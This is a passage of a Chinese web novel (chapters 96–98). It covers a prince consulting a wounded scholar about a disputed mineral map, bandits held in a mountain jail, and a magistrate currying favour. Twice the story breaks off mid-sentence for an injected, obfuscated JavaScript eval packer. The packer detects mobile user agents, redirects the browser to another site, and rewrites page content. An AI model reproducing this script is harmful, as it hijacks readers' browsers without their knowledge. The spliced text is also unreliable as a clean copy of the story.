学生们闲不住,有的会上山给着手书院重建的师傅们打打下手,有的得了空则会在家中田地或是铺子里给爹娘跑腿干活。 赵芊芊体弱,在山上帮不了什么忙,家中的田地铺子掌柜也不敢使唤她,于是她每日打点好送去书院的新鲜食材,就提着自己亲手做的食盒在晁都城中一处幽静的宅院前徘徊。 秋风起时,帏帽的白纱在赵芊芊面前掀起了涟漪,她透过白色纱幔一看到庭院门开,就立即提着裙摆疾步走去,问,“小哥,我能否进去了?” “先生不见客,姑娘还是请回吧。” 小厮熟练地答完话,朝来者客气的拱了拱手,而后头也不回地转身回去。 他这套动作一气呵成,像是做过许多次似的,赵芊芊心中早知自己又是白来一趟,可那道堵在面前的冷冰冰、阴森森的庭院大门还是让她觉得有些委屈。 随手将挽着的食盒塞进随行丫鬟怀里,赵芊芊提裙不甘愿的钻进马车,驾车仆役听轿厢里的小姐坐定,揪起缰绳调转马头款款离去。 他们刚走,无恩‘驾’了一声将马车从街巷转角赶出,方才那道冷冰冰、阴森森的庭院大门外的值守护卫看见来人,立刻三步并作两步过来迎接。 “属下见过幽王殿下。” 院门应声打开,小厮喜笑颜开的跑近问安。 无恩横着手臂将薛霁扶下车后,听主子问,“他今日怎么样?” 小厮跟在薛霁身后,亦步亦趋答,“大夫上药时说已无大碍了,就只是身子还虚着,恐怕还得再静养一段时日。” 薛霁:“近来可有人上门求见于他?” “除了赵家那位小姐日日都来之外……”小厮想了想说,“先生接回来后还昏迷不醒那些天,倒是有过一位周正清隽的男子曾在宅院外守过几日,不过,那男子不曾开口求见,大约是在大夫上门次数减少不久就再没出现过了,殿下是否需要小的准备他的画像?” 薛霁心中知晓那人是谁,只说,“不必。” 走过门庭穿过回廊,小厮将薛霁引到一间门窗紧闭的屋舍门前,说,“这位先生也是坚韧,回来时浑身一寸好皮都没有了,医治时却哼都没有哼过一声,只是……他伤势见好后,除了‘多谢’二字之外,也没有再对小的们说过其他话了。” 薛霁:“天凉了,准备些炭火送进去。” “是。” 小厮领命退下,无恩推开门看主子进去,随手关了门在外等候。 屋内,许是才通过风,温度与室外并无差别,薛霁不喜欢这样冷冽的空气,微蹙了一下眉头才走向披发靠在床头看书的男子。 邱阳才换过药,身上素衣的衣领有些不展,似乎是还未将衣物打理妥帖,便随心捏来手边的书读。 听见门外动静与来人脚步,他的视线也依旧没有离开手中书页,“草民身体不便,就不与幽王行礼了,还请幽王莫怪。” 薛霁的确没有见怪,他撩袍坐在屋内案几前,抬手给自己斟了盏热茶,茶水出了壶,热气便瞬时萦绕在眼前。 他指尖捏着茶杯腰腹,将手肘搭在案几慢慢感受着面前茶水的氤氲暖意,悠悠道,“赵大人的小千金来探望你数次,怎么也不请进来坐坐,这几日外头总是起风,冷得很,当心那么瘦弱一个小姑娘,再因为你被吹病了。” 邱阳闻言放下书,偏头看他,“坊间都传言中北的幽王是心狠手辣的罗刹,却不知您也会怜香惜玉。” 薛霁:“酸夫子做久了,连带着那套阴阳怪气也学会了?” 邱阳听他这话忽然想笑,可扯了扯嘴角才发现自己笑不出来,“我这酸夫子其实也没有做多久,这不……连学生来探望的心意都不敢收。” “你与柳思无这辈子真是与‘不敢’二字杠上了。”薛霁抿了口茶,“他害了姐姐,你又要负妹妹,你们俩若想要赵无祸的命直接去取就是,何必这样作践人家两个女儿。” “赵挽挽是被慕峰青逼死,跟行知有何关系!” 邱阳下意识为柳思无辩驳,直到看见薛霁促狭眉眼才攥着手中书册,低语,“师道尊严,我改日自会和芊芊说清楚。” 薛霁笑笑不语只兀自品茶,邱阳被他戏弄也不生气,问,“你今日来不只为看我笑话罢,我被你搭救欠下了人情,若你有话要问,我定知无不言。” 邱阳猜出自己来意,薛霁收起懒散说回正题,“你因私藏朝廷机密文书一事被逮捕进军狱院中严刑拷打,你可知自己私藏的是什么文书?” “我初次见那图卷便看出其上所绘制的是中北某山脉地形图,回想起行知那时看我欲言又止的神情,便晓得他想让我辨认的大约是一份矿物地形图,中北矿产资源向来稀缺,他一个户部官员手里不该有那副图,于是我猜测,此图定是有人想通过行知来寻我的。” 薛霁看着他的眼睛,又问,“那份地形图除了柳行知,还经过一人之手,你可还记得是谁。” 邱阳不假思索,“只经过我手。” “柳行知都欲言又止了,那地形图如何能跑到你手里。”薛霁戳穿他扯得谎,直言,“你宁可受军狱院惨无人道的刑罚也不愿供出的学生初眠眠,被烧毁安南书院的土匪掳走后,与土匪双双坠崖了。” ‘啪!’ 手中的书册滑落在地,邱阳瞪大了眼睛,难以置信,“眠眠…死了?” 薛霁不答,神情并不似玩笑。 邱阳缓缓侧首,忍着眼中酸涩,呢喃,“怎么会……眠眠她…向来聪慧,又深受于先生器重……于先生?于先生他……” “于先生为护佑安南书院众学子,与土匪头目在火海中同归于尽。” 薛霁打断邱阳问询,将噩耗一个接一个的抛给他。 邱阳重伤清醒后只听小厮说安南书院失火被焚,上不了课,所以那赵家的二小姐才有闲工夫日日来看他,却不知……却不知安南书院竟然遭此横祸…… 眼泪倏地无声落下,邱阳本就因严重伤势而苍白的面容此时更无丝毫血色,他紧紧捏着盖在腿上的棉被,肯定说,“你知道是谁害了他们。” “螳螂捕蝉的是混迹在虔来山中的南夷土匪,黄雀在后的是潜伏在安南县衙的北漠奸细,他们……”薛霁顿了一瞬,才道,“皆是为了虔来山中矿产而来。” “原是这样。”邱阳终于了然,这就是薛霁今日来见他的目的。 “虔来山疑蕴矿产的消息忽然泄露,中北有人利用柳行知扒出一代矿师孔天华之子的行迹,并设计将其抓捕,可是在此之前南夷与北漠就早已对虔来山蕴藏矿产一事了如指掌,你可想过这是为何。” “世人只听说‘一代矿师孔天华’不知发生了何种变故,数年前就忽然不见了踪影,至今还下落不明,却不知那个人早改换门庭事业新,锦衣玉食福并臻了。”邱阳鄙夷说,“一个投敌叛国的人,为了荣华什么做不出来。” 薛霁没有多言,从袖中取出一块折叠整齐的锦帕递给他。 邱阳不知他此举何意,却仍旧接过他手中锦帕,小心打开后,喃喃,“这是……” 薛霁:“北漠和亲公主塔鲁阿茶乔装潜进虔来山后被害身亡,这是从她尸体上扒下来的甲片。” 锦帕中包裹着的是一小块半透方片,邱阳隔着帕子将方片捏起,观其形状,摩挲触感才发觉这确实是一块人手上的指甲盖。 仔细看,那指甲片上还用及其细微的东西篆刻了一些纹路。 纹路上的线条蜿蜒起伏,毫无逻辑可言,然邱阳却觉得这上面图案自己有些眼熟,“这是虔来山矿产地形图,只是……这份图似乎比行知手中那份少了点东西。” 薛霁颔首:“书卷上有墨点滴落的地方,这指甲盖上却是一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888145|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交叉路口。” “军狱院狱卒放我那天曾说,柳行知泄露的那份地形图经查证后所绘不实,难道这甲片上所刻才是真的?” 薛霁从怀中取出一张布条,“你看看这个。” 若在平常,邱阳免不得要打趣薛霁身上是不是装了乾坤袋,怎么什么东西都能掏出来,可此时他顾不得许多,放下手中锦帕就去接那张布条。 布条是被人在衣裳上仔细撕下来的,宽窄大小与寻常纸笺差不了多少,上面的字句皆是由炭笔所述,执笔人大概是用不惯炭笔,一句话涂涂改改了好几个字。 上面写道:虔来山矿物地形图所绘之地就在黑鹰岭附近,但他们皆对矿产一事一窍不通,故而需得由擅此道者亲临此处或许才能寻到确切矿址,故而特报信来,请幽王早做打算。 这是薛霁手下人传回的虔来山消息,本无甚特别,但…就是这消息最后一句却让邱阳忽然的皱起了眉头。 “‘假作真时真亦假’?” 邱阳把那句话读出声后将手中布条展在手心,一手重新捏起锦帕包裹的甲片,他看着甲片上干净利落的山脉线条,脑袋里又浮现出柳思无手中那份带有墨迹的地形图。 墨迹? “行知手里那份地形图才是真的!”邱阳豁然明朗,他举着薛霁手下写的布条说,“人行文写错不便重来时,会干脆在错字上涂抹而后纠正,那糊作一团的墨迹混在文章中并不显眼也不影响阅读,故而并无大碍,可有作画闲情时,若不慎在图纸关键之处滴落墨滴,那画定然是要直接废掉的,这句‘假作真时真亦假’便是说,那张篆刻完整地图的甲片是假的,而看似废稿的画卷却是真的,矿址的关键之处就在那墨滴覆盖之下。” 邱阳惊叹最后这句‘提点’,也暗暗惊讶薛霁手下居然有如此机敏之人,他低头再次仔细观摩那刚劲飘逸的七个大字片刻,又纳闷呢喃,“这字迹我怎么觉得有些熟悉,好像在何处见过似的…哎……” 薛霁猝然将他手中布条抽走,重新塞进自己怀里,“柳思无手中的真地形图已有不少人亲眼见过,此事若被那些居心不良的人反应过来,虔来山或许就是下一个安南书院。” 邱阳:“我怎知你不是那个居心不良的人。” “占据虔来山的匪首是我的人,朝廷亦将虔来山剿匪一事交由我办。”薛霁不在意他的讥讽,眼中的势在必得很是漫不经心,“我的居心良与不良又有何紧要。” 锦帕包裹的东西已无用处,邱阳将帕子还给薛霁后扯了扯身上搭盖的薄被裹在自己胸前,苦笑,“除过同窗情谊,我知你救我还有其他目的,但与孔天华决裂之后,我再不曾深研此道,此番恐不能遂君之所愿。” 邱阳的拒绝好似在薛霁意料之中,他亲耳听见这话后非但没有出言恐吓或是劝说,反而只是拢了拢自己披在自己肩上的薄衫扶膝起身。 “咚咚咚。” 小厮敲门三声,而后推门而入。 他低着头将烧得正旺的炭盆放在屋内后转身就走。 薛霁随手把锦帕丢了进去,火星燎着丝帛发出明黄色的火光,屋内短暂的生出烧焦羽毛的气味后终于暖和起来。 “孔先生身陷北漠,塔鲁阿茶却拿着一份假地形图混了进来,这一真一假两份图同时出现在中北,何尝不是在暗示你父亲投敌一事或许另有隐情,他日若能重逢,你难道不想当面问个清楚。” 薛霁语气淡然,丝毫没有等邱阳回答的意思。 他缓缓转身离开,就在指尖即将触到小厮虚掩着的房门时,他忽而听身后那人,唤了一声,“承安。” 薛霁顿住脚步。 “怕冷的是你,你走时命人将炭盆撤下罢。”邱阳用力扬起不见血色的唇角,道,“我这样的人……越疼痛孤冷才越是亢奋清醒。” 薛霁再没有回头,只勾了勾唇,答他一声—— “好。” 97. 宋运 生活在宫中的内侍,个个都巴不得多做些差事,毕竟只有当差办事,才能在其中捞些油水,让自己在深宫高墙里的日子好过些。 而在诸多差事中,入幽王府宣旨则是内侍们挤破头都抢不着的上上差。 只因幽王手上无权。 像是心里过意不去似的,先皇只好用银钱赏赐来安抚这个他看中却不能选中的侄儿。 于是手上无权的幽王不情不愿的变得很有钱。 在幽王府中宣完旨,干等幽王殿下药浴完大半天的内侍们才揣着沉的直往下坠的钱袋喜滋滋地奔向兴民城。 调令来的太过突然,宣旨太监将圣旨捧上后,慕峰青怔了片刻方才反应过来接旨,内侍头头估摸这位朝廷新贵近来大概是被虔来山土匪扰的心烦,一张俊脸愁眉锁眼的,心中不忍,故而又将左佥都御史铁铭会随他同去武江城,以便为他分忧的消息和盘托出。 慕峰青一听与北漠作对途中还有人同自己作伴,沉重地心绪忽然轻快了许多,他感激地差人以数块银锭送走一众宣旨内侍,转头就故作为难的与兴民城陪他一同接旨的大小官员告罪。 “虔来山土匪狡猾,我原本计划用欲擒故纵之计使之得意忘形而后将他们一网打尽,却不想朝廷在此关键时期下令调我尽快带兵赶赴武江城援救。” 慕峰青略带遗憾且不甘心地安慰白向福和郑万金说,“不过二位大人也不必忧心,收网虔来山土匪后续诸事我定会事先安排妥当,以便幽王殿下这股‘东风’能顺利将山上那群宵小斩草除根,只是惭愧我在兴民城中叨扰多日却不能亲自为二位大人解此处燃眉之急,峰青失责之处还请白知州与郑县令切莫见怪。” 慕峰青说着便微微颔首向他们抱了抱拳,郑万金区区一个县令哪里能受得了慕大将军的礼,慌得连忙凑过去将他扶起。 白向福上前两步,也虚扶慕峰青一把,说,“边境危机任谁也无法预见,慕将军临危受命我等敬佩还来不及怎敢见怪,兴民城百姓能得您照拂数日,已是莫大福分,慕将军切不可再说这些见外的话了。” 白向福说的真情实感,慕峰青却心虚得很。 他先前以虔来山脉绵延、地形复杂,强攻不易、得用妙计为由,带兵只在山底趴窝,本以为这架势多少能将山上土匪唬住数月,他也能高枕无忧数月,却没想到威虎寨那个二当家新官上任,只用两个多月不到就将虔来山四寨土匪合为一家。 威虎寨聚沙成塔、一家独大,正好省去官兵们翻山找人的功夫,这下不想打也非打不可了。 慕峰青首次派白冲与王羌曹进山剿匪时,预想那白冲曾与黑鹰岭土匪交过手,再带这么多官兵上山怎么着也能运回几具尸体回来交差,谁知他们运气太寸,竟扑了个空,要不是看在白向福的面子上他早将那个不知天高地厚的小子揍一顿消火。 第二回则是王羌曹提议说,他们既然已经摸到黑鹰岭老窝,便夜袭上去打土匪们个措手不及,他斟酌王羌曹已在安南县衙当差数年,又得兵部王尚书大力推荐,便答应由他带人趁夜上山,谁晓得官兵队伍头尾才刚全部上山,就被黑鹰岭土匪蒙头打了个闷棍,山里夜色迷蒙、伸手不见五指,那帮天煞的土匪打完就跑,根本摸不着踪影,可怜那些斗志昂扬上去,鼻青脸肿回来的官兵挨了打还被自己一通臭骂。 慕峰青原先听说,朝廷早些年与虔来山的土匪打交道时是逮住一批惩治一批,于是他觉得自己再不济怎么着也能抓些土匪保底,直到近期手下们一而再的在虔来山失利,他才意识到虔来山今时已经不同往日。 而白冲口中那位新挂柱土匪却替威虎寨连收三寨的二当家初暒,或许就是使虔来山不同往日的根本原因。 “初…初情?” 慕峰青咀嚼着这个似曾相识的名字时,心中忽然咯噔了一下。 白向福看出他心不在焉,问了声,“您说什么?” 慕峰青回过神,忙说,“我方才在想,武江城情况紧急,我恐怕等不及与幽王交接了,白冲与王羌曹对虔来山相关事务较为了解,派这两人协助幽王剿匪,白大人您看如何?” 白向福久闻幽王名号,自然不想让儿子跟他办事,但兴民城眼下再无其他合适人选,只得答,“慕将军做主便是。” 幽王要来辖地剿匪,白向福要准备的事务也很多,他简单与慕峰青客套几句两人便互相告辞各忙各的了。 郑万金看白知州已经走远,才追上慕峰青说了些往后若是立功劳驾多多提携之类的吹捧之言,但慕峰青才从一个火坑里跳出来又要赶往另一个火坑,哪顾得上与他一个小县令虚与委蛇,嗯哦回了几个字便兀自扬长而去。 察觉慕小将军目中无他,郑万金盯着慕峰青与手下回房关了房门才卸下脸上笑意,低低啐了一口。 “阿嚏!” 大概是被人念叨了,初暒靠在山牢里重重打了个喷嚏。 隔壁牢房的伍二听见动静以为是她着凉,立刻将自己这边的被褥从木栅栏里塞过来,“天气转凉,二当家你身子才好,多盖一些。” 初暒背对着他摆手,仍旧闭眼休憩,“你自己留着盖吧,我不冷。” 伍二看她确实没有病恹模样,扯回棉被垫在自己身后的木栅栏,问,“我们已经被齐威虎关在山牢里有几日了,也不知他不杀不放的究竟是想干什么?” 初暒答说,“齐威虎此人优柔寡断、瞻前顾后,他肯与燕山鹰沆瀣一气,必然是因为燕山鹰对他承诺过什么,但狡诈如他怎么会完全信任一个才被夺了寨的当家,留下我们,也算是他为自己留下的一条后路。” 她说‘我们’,但伍二心里清楚,齐威虎想留的唯有她一人而已,他不明白,于是再问“与齐威虎在聚英堂中对峙那日,二当家已猜到他是故意激怒于你,为何还要假意中他奸计,让这些愿意跟随你的兄弟被关进这里?” 伍二憋了好几日,总算将这个问题问出口,初暒睁开双眼,随手捏起一根干草屈膝把玩,不答反问,“我带你去见燕双鹰那晚,你可还记得他是如何挑拨我与齐威虎的么?” “记得。” “那再回忆回忆熊黑当家时,黑鹰岭为何能在短时期内声名大噪、如日中天?” “我记得…齐威虎曾说‘黑鹰岭这些年能如日中天、屹立不倒,敢连府衙的人也不放在眼里,是因为他们仗着此地好出不好进的优势,官兵一来打,他就猫在老窝硬是不探头,时间一长,兴民城府衙知道逮不住他便也不想再白费力气’没了压制,这才助长了黑鹰岭日渐嚣张的气焰。” 将伍二的思绪引到此处,初暒最后问他,“那么你猜,熊黑为何敢不将山下府衙放在眼里,燕山鹰为何甘心被熊黑压制,又为何在被我折磨成那副狼狈样子后,仍有胆子与我做交易。” 伍二皱着眉仔细揣摩初暒这话,又想起燕山鹰被绑在柴火房时曾说‘威虎寨这段时日连收三寨,势头太猛,定然已经被山下那群鹰爪孙们盯上,若你往后不愿受制于官府,我燕山鹰能助你一臂之力……’ 他一个土匪当家,有什么底气说自己能在不愿受制于官府一事上,助人一臂之力? 结合齐威虎上回莫名下令趁夜埋伏预备上山夜袭黑鹰岭的官兵,伍二心里做出一个大胆的猜测,“难道他与官府……” 初暒打断他,坚定说,“是,他们胆大包天,不顾自己与手下人死活,但我不忍,我须得保住寨里一些尚有人性的兄弟们的性命。” 伍二此时还不明白初暒口中的保住是什么意思,但他在此时忽然觉得,自己大概快要清楚她上虔来山真正想做的事是什么了。 “伍二哥……” 山牢里骤然响起一小声呼唤,伍二偏头看去才发现是小运气鬼鬼祟祟溜了进来。 他连忙起身过去,责备道,“不是说让你在寨子里躲好不要随意走动么,怎敢胡乱溜达到这里面来!” 小运气慌张摇头,打开自己随身带的药箱后从中取出馒头和水囊,解释说,“大当家的忽然召集寨中哥哥们议事,潘闯哥来不及为你和二当家送吃的,便托我来了,伍二哥,你放心,我贴着墙边躲着他们走的,没人注意我。” 这少年看起来十四五岁,一张小脸白白净净,借着山牢不甚明亮的火光,初暒不知怎的觉得这孩子有些面熟,却又想不起来在何处见过。 小运气说明来意,笑吟吟捧着干粮等他去接,伍二看他这幅乖巧模样也不忍苛责,伸手接过他手中馒头后递给初暒。 “二当家,这小子你瞧着是否眼熟?” 馒头沾着药香,这味道她似乎在晁都安济坊门口闻到过。 初暒终于记起那个被人赶出门外,可怜蹲在墙边的少年,“这是……安济坊宋大夫的小徒弟?” “啊?二当家如何知道我。” 山牢廊道墙上插有火把,牢里却一片阴暗,小运气没想到二当家竟晓得自己来路,忙横着身子挪到伍二隔壁牢房去辨认她的相貌。 扒着木栅牢门,小运气瞪着眼睛看向和颜注视自己的二当家,惊呼,“原来是你!” 伍二只带初暒见过小运气,却不知小运气也认识初暒。 他正纳闷,又听小运气兴奋对自己说,“伍二哥!这位!这位便是在我被赶出安济坊后,舍我一个包子吃的小哥!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888146|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>伍二讶异一瞬,才恍然,那夜初暒救了自己之后,还为小运气指了一条明路。 “真是无巧不成书,你惦念许久的恩人原来就是我们的二当家,怪我,早没有与你引见。” 初暒不解,“什么恩人?” 小运气看着初暒的眼睛亮晶晶,他认真解释说,“数月之前,我师傅宋思徳无故身亡,师母也随他而去,见我失势,安济坊我师傅同仁便将我这个吃白饭的赶出门外,是你,给了我救命的包子,还说我虽孤苦,但并非无依,我是宋大夫唯一的徒弟,身康体健又有医病救人之技,除了师傅,我还有自己可以依靠,于是我带着小药箱做了大夫,要不是遇见你,我恐怕还沉溺在自怨自艾中,早不知上哪儿流浪去了,你当然是我的恩人!” 初暒问,“你是大夫,为何要在这虔来山里生活?” “我身无分文在晁都城里徘徊许久,是伍二哥寻见我后,揍了安济坊新掌柜一顿,还抢回我的药箱和无数药材替我出气,那时我俩又无处落脚,他又正被人追杀,思来想去许久他才带我躲进虔来山里讨生活,进山后,伍二哥叮嘱我说他去做威虎寨里土匪,我只需在威虎寨混个脸熟,切不可与那些土匪交往过甚,故而我平日都住在虔来山里一家正经做茶摊生意的篱笆户中,只等土匪寨中有人生病或是受伤时土匪们才会喊我上去医治。” “在虔来山中想要落草为寇,须得要有投名状,我能在极短的时间里获得齐威虎的信任……”伍二看了小运气一眼,欣慰说,“便是因为我将神医妙手宋运小大夫带进了威虎寨,他诊治过寨中不少土匪,所以我们不曾在这虔来山里受过什么委屈。” 宋运笑了笑,谦逊道,“什么神医,什么妙手,不过是在山里认得一些草药而已,伍二哥切莫在二当家面前取笑我。” 初暒前世身陷军狱院时,曾被伍千裘与宋思徳近过身,许是这两人知晓了她的女子身份才被慕峰青派人追杀,伍千裘有武艺傍身,所以逃过一劫,可那位宋大夫却因为她丢了自己命。 伍千裘应该不曾将宋思徳身故的真正原因告诉宋运,因而这位常在虔来山中与土匪山贼打交道的少年人眼睛才能这般清澈与明亮。 他将小运气照顾的很好。 可连累他们沦落至此的初暒,心中的愧疚更甚了。 宋运疑惑二当家看着自己的神情,刚想求助伍二,余光却看见廊道出口处潘闯突然出现,他不知对值守土匪说了什么,竟顺利通过山牢值守,疾步朝他们跑来。 “方大通趋炎附势,他手下人却十分念旧情,二当家的,你若是在这山牢里住腻了,直接吆喝外面的值守兄弟与你开锁便是。” 潘闯语气轻松,不像刚与齐威虎商议完什么大事的模样,初暒知道他憋不住话,只悠悠道,“此处清静,我住的挺好。” 潘闯猜想,小运气方才定然将齐威虎召集寨中兄弟议事的话告诉他们了,可怎么也不见二当家和伍二追问自己,他自觉没有意思,用食指蹭了蹭鼻子后老实交代,“方才齐威虎收到信儿,边境告急,驻扎在兴民城的慕峰青奉旨援救已经连夜出发了,代替他接手虔来山剿匪事宜的是幽王。” 边境二字触及初暒心弦,她下意识起身,忙问,“边境告急何事?可是北漠又开始生事了?” “具体情况小的也不清楚,只听齐威虎是这么说的,他喊我们过去,不过是想询问来剿匪的慕峰青走了,该如何应对幽王而已。” 这消息实在突然,初暒垂眸沉吟片刻,问,“你们可曾商讨出什么结果。” “声名赫赫的慕大将军走了,寨里兄弟自然觉得如释重负,但齐威虎像是不放心,一定要大家莫掉以轻心,燕山鹰却安抚他说,那幽王只是个病秧子,平日里不是八面求医就是四方敛财,哪懂什么带兵剿匪,只让齐威虎将心放在肚子里,能逍遥一日是一日。” 虔来山中初暒能做的已经做完,是到薛霁该上场的时候。 可… 为什么会这么凑巧? 边境突然出现变故,慕峰青被紧急调走,而幽王则顺势接任虔来山剿匪一事。 一切都太过顺理成章,初暒攥紧双拳不由打了个寒颤。 她不愿深想,于是深呼一口气将心中的不安放走,看着山牢众人,道,“幽王得虔来山如囊中取物,山中四寨土匪分崩离析已成定局,诸位若是信我,便只在暗处静观其变,切莫被齐威虎与燕山鹰蛊惑意气用事与朝廷作对。” 初暒话中意思已十分明确,伍二按捺住自己砰砰作响的胸口与潘闯相视一眼。 彼此都从对方眼中看见了四个大字—— 要变天了。 98. 巴结 朝廷调令一到,慕峰青就迅疾将虔来山剿匪余下诸事交代给了王羌曹与白冲,等与马不停蹄赶至兴民城的铁铭汇合之后,两人便带着人马连夜直奔武江城。 他们走的匆忙,兴民城百姓还不知发生了何事,直到第二日有早起做工的汉子看到白知州与郑县令候在府衙门口迎接一位贵气十足却略显病态的男子时,才打听到慕大将军被朝廷紧急调去了边境,接替他来虔来山剿匪的是幽王薛霁。 今年年初,中北为给北漠筹备回礼,采纳了幽王‘以钱换粮’之计,各地赃官污吏借用他的名号中饱私囊,用铜板换精粮,百姓中稍有不从者便会被其以棍棒相逼,送走北漠使臣后,若不是户部一些尚有良知的官员提议减轻今岁赋税,部分贫苦地区的民众们能否平安活过这个寒冬还难说。 曾被征粮小卒逼迫过的兴民城百姓看到接替慕将军的人是他,皆不约而同感叹中北朝廷如今真是无人可用,竟让一个只会出馊主意的病秧子王爷来剿匪。 百姓们对新接任的幽王不屑一顾,可兴民城大小官员早耳闻过这位皇亲国戚的脾性与手段,无一不对其毕恭毕敬、卑躬屈膝。 白向福原本已将州府里最好的一间客房收拾妥当只等幽王入住,可薛霁只说自己是来办差,哪里方便就落脚何处,于是白向福便把他带进了慕峰青先前在县衙居住的屋子。 白向福为人简朴,官做的也清贫,兴民县令郑万金大概是受他感召,也将县衙打理的清清冷冷、堪蔽风雨。 慕峰青是个武将,行军打仗时什么恶劣条件没有经历过,他图方便住在县衙没什么可说的,可白向福看到自打出生起就养尊处优,身边仆从多的都能开会的幽王殿下走进破旧的屋舍眉头都没有皱一下时,心中顿时觉得这位幽王似乎并非如传闻所说那般跋扈自恣。 简单招待幽王用过便饭,白向福将县令郑万金引见给薛霁后就告辞去忙自己的公务,郑万金头回亲眼见着跟皇帝沾亲带故的贵人,笑得脸上的褶子都能夹死苍蝇。 眼下已是初冬,从窗户缝隙中溜进来的凉意并不使人舒适,郑万金瞧幽王坐在屋里还披着大氅,于是试探问,“天气转冷,殿下您又还病着,要不…下官差人在屋内给您烧个炭盆暖和暖和?” 薛霁:“那就多谢郑县令了。” “都是下官该做的,您实在不必客气,” 郑万金立即去唤小厮准备,回来后又躬身道,“下官见您来时只赶了一架马车,想来是因为朝廷旨意来的突然,您顾不上准备,既然您如今下榻在兴民县衙,下官怎么着都需尽到地主之谊。” 薛霁没有接话,只闲适的靠在椅背等他继续说。 郑万金看他没有拒绝的意思,心中一喜,“您不嫌弃县衙屋舍简陋,可下官不忍您处处将就,不如……您住的那间屋子中一应日需物品皆交由下官去做准备,如此即可使白知州放心,也能让下官安心,殿下您意下如何?” “如此是否太过劳烦郑县令了,要不还是……” 郑万金一瞧有戏,忙插话说,“殿下一路奔波只为兴民城百姓解忧,下官感激不尽,就盼着自己能为您做些力所能及的事呢。” 似乎是觉得盛情难却,薛霁犹豫片刻才点头,“郑县令好意,本王却之不恭了。” 估摸自己的殷勤逢迎到贵人心坎,郑万金喜不自胜。 这时,门外有人通报,“启禀幽王殿下,安南县尉王羌曹、什长白冲求见!” 他们要谈正事,郑万金知趣告辞。 郑万金在院中目送王、白二人被幽王手下请进议事内堂后,挥手招来一直候在兴民县衙的书吏吕贾。 “都说幽王跋扈自恣,我瞧他倒十分平易近人,不似那个毛头小子慕峰青,不就打过几场胜仗么,居然不把本官放在眼里。”郑万金感叹完,吩咐道,“幽王娇生惯养又体弱多病,县衙的屋子他定然是住不惯的,你速速差人在城中采买些日用之物,切不可以次充好,坏了我郑万金的待客之道。” “是。”吕贾低眉应声后,又小声询问,“那采买的银子,从何处出呢?” 郑万金:“先不要动公账,你先垫着,过后本官自会还你。” 吕贾撇撇嘴,有些不情愿,郑万金恨铁不成钢的杵了杵他的脑袋,低语,“你可知咱们巴结的是谁!那可是幽王,当今圣上的堂兄!他穷的只剩钱了,若讨得幽王的欢心,哪怕只得他几个好脸,咱都能仗着他的名号在兴民城大捞大捞了,经商尚需下本钱呢,如今只叫你先花几个银子便不乐意了,就你这眼界将来还如何跟着我发大财?” “是小人狭隘了,郑县令放心,小人这就照您吩咐去办。” 被上司画完饼的吕贾走路都带风了,郑万金送走他,偏头看向县衙议事内堂,眼中的无餍贪婪毫不掩饰。 县衙议事内堂中,王羌曹与白冲依次向薛霁阐明虔来山近况、山中土匪势力以及他们开口都自觉丢人的两场败绩。 白冲:“慕将军首次命我等上山剿匪时,因不熟悉山中地形,那些土匪趁属下们在山里迷路时跑了,不过那回虽然扑空,却让我们摸到了在虔来山潜藏多年的黑鹰岭的老窝,也算是有个收获。” 王羌曹点了点头,接着说,“是,属下推测威虎寨连夺三寨,好不容易寻见黑鹰岭这处宝地定然不舍的丢弃,于是便提议趁夜上山偷袭,只是没想到那帮土匪早有准备,一见偷摸上山的官兵便提棒来打,打完就跑,那时月黑风高,属下担心山上还有他们其他陷阱,权衡之下还是带手下们原路返回。” “虔来山土匪狡猾,原先兵部就拿他们没办法,可往些年多多少少都能逮些漏网土匪糊弄百姓了了差事,但是今年……”白冲想起那个心狠手辣的二当家,恨恨说,“自从威虎寨新来的那个二当家出现,一切就都乱了套,他以凶狠手段连夺三寨,其中最为残忍的便是投石将刀客谷众土匪砸成肉泥,还一再用计戏弄府衙官兵,不将朝廷放在眼里,简直无法无天,幽王殿下,不知您是否有能一举克灭那帮匪贼,还兴民城一片净土的法子?” ‘克灭’二字有些不中听,薛霁终于抬眸看向这位久闻他‘刺头’名声的白冲。 白冲既怒这么多官兵被土匪羞辱,又恨自己却偏偏对他们没有办法,他越说越气,越想越不甘,口不择言时竟当面质问才到兴民城的幽王有何办法。 王羌曹皱眉瞥过白冲一眼,一回神却瞧见自他们进门后就一副作壁上观模样的幽王殿下眸中竟闪过一瞬稍纵即逝的寒意。 后颈忽然一凉,王羌曹立时开口圆场,埋怨白冲道,“虔来山土匪虽然狡猾,但并非一群无恶不作之徒,白冲兄弟你是被他们气糊涂了不成?怎敢当着殿下的面儿说出这些赶尽杀绝的气话来,还有……慕将军临走时已经将虔来山剿匪余下诸事交代给了你我二人,我知你心急,可如何心急也需等咱们俩先商议出个对策再请幽王殿下斟酌决断呐,你此时这么不假思索的询问,一瞧就是没自己动过脑子。” 白冲被王羌曹堵得无话可说,闷闷哼出一口气再不言语。 王羌曹这时又对薛霁赔笑,道,“白冲年纪还小,性子又耿直了一些,还请殿下切莫怪罪,您才到兴民城,大概对虔来山诸多情况还不太了解,属下觉得剿匪一事不宜操之过急,还是等您再熟悉过其中事务后咱们再做商定,您看如何?” 